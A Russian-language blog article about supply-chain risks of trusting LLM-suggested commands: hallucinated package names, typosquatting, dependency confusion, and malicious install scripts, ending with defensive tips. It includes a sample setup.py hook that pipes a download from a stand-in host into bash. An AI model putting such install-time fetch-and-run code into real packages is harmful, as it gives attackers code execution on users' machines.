- BrainTools - https://www.braintools.ru -
Тема безопасности в эпоху LLM всплывает всё чаще. И речь идёт не о самой модели — а о пользователях, которые доверяют ей без оглядки.
Сегодня многие разработчики и админы спрашивают у GPT не только совета, но и готовые команды. Результат выглядит правдоподобно — и команда уходит в терминал. Иногда прямо на прод.
А дальше этот код попадает в GitHub, кто-то копипастит его оттуда — и вот уже выдуманная библиотека начинает новую жизнь. И если обычная ошибка [1] — это неприятность, то левый пакет может стать входом для злоумышленников.
Жулики заметили тренд. Видят, что растёт число запросов на какую-то несуществующую библиотеку — и выкладывают её первыми. Разработчик ставит пакет, думая, что выполняет совет GPT, а на деле запускает чужой код у себя в системе.
Хуже того, если такой пакет попадёт обратно в ответы модели, круг замыкается. Ложная информация начинает множиться сама на себя.
Когда вы ставите библиотеку через pip install или npm install, менеджер зависимостей скачивает её код и выполняет скрипты, которые автор указал в настройках. Это часть нормальной установки — например, чтобы собрать бинарь. Но именно здесь злоумышленники прячут свой код.
Старая, но рабочая схема. Вместо requests вы случайно пишете reqeusts. Менеджер тянет другой пакет — и вместе с ним запускается подарок.
Самый громкий случай в Python случился совсем недавно — весной 2024 года. Тогда в PyPI выкладывали не десятки, а сразу сотни поддельных пакетов. Более 500 двойников имитировали названия популярных библиотек: TensorFlow, requests, BeautifulSoup и многих других. Большинство методов проксировались из реальных библиотек, поэтому не все замечали подвох.
Классика корпоративной среды. Компания хранит свои библиотеки в локальном репозитории. Но если в публичном появится пакет с тем же названием, система может подтянуть именно его. В итоге внешний код оказывается внутри вашей инфраструктуры.
В 2021 году Алекс Бирсон решил проверить, как компании защищают свои внутренние пакеты. В крупных командах часто есть приватные библиотеки — например, super-duper-logger.
Бирсон выложил такие же пакеты с теми же именами в публичный доступ, но с большим номером версии. Менеджеры зависимостей всегда тянули самую свежую версию — и в итоге код из публичного репозитория попадал в инфраструктуру корпораций.
Мошенники следят за трендами. Если в поисках часто появляется «super-ml-lib», хотя такой библиотеки ещё нет, они выкладывают её первыми. GPT подхватывает название, вставляет его в ответы, кто-то запускает установку — и капкан захлопывается.
При установке пакета запускается setup.py [2] (в Python) или скрипты из package.json (в npm). Внутри можно написать всё, что угодно.
Простейший пример:
import os
def install():
os.system("curl http://fuck.my.system.com/malware | bash")
Эта строчка отработает в момент установки — ещё до того, как вы успеете импортировать библиотеку в проект.
Через такие вызовы можно:
скачать и запустить произвольный бинарь
создать скрытые процессы
менять переменные окружения (например, украсть токены)
удалить или зашифровать файлы
переслать содержимое .ssh/ злоумышленнику
С точки зрения [3] системы это не взлом, а обычный скрипт пользователя. Всё запускается добровольно — только не вами, а за вас.
Даже простые меры снижают риск в разы:
не копипастите команды из GPT без проверки
всегда смотрите на библиотеку: кто автор, какой репозиторий, есть ли коммиты и звёзды
не запускайте всё подряд через sudo
для компаний — используйте внутренние зеркала и подписывайте пакеты
LLM не враг. Она не придумывает вирусы специально для вас — но и не проверяет, что то, что она подсказала, безопасно. Ответ всегда выглядит убедительно, и именно это делает доверие опасным.
Один pip install может превратиться в установку бэкдора, а может — просто добавить библиотеку в проект. Разница минимальна: всего один клик и пара секунд проверки.
И если проверка кажется лишней мелочью, стоит вспомнить, что большинство успешных атак начинались именно с неё — с одной буквы, одного имени пакета, одного нажатия Enter.
Если тебе близки подобные темы — приглашаю в Telegram-канал «Техдир на пальцах» [4].
Строим дружное и общительное коммьюнити.
Автор: Techdir_hub
Источник [5]
Сайт-источник BrainTools: https://www.braintools.ru
Путь до страницы источника: https://www.braintools.ru/article/19248
URLs in this post:
[1] ошибка: http://www.braintools.ru/article/4192
[2] setup.py: http://setup.py
[3] зрения: http://www.braintools.ru/article/6238
[4] «Техдир на пальцах»: https://t.me/+7-m11XS2SFQwNjk6
[5] Источник: https://habr.com/ru/articles/944756/?utm_source=habrahabr&utm_medium=rss&utm_campaign=944756
Нажмите здесь для печати.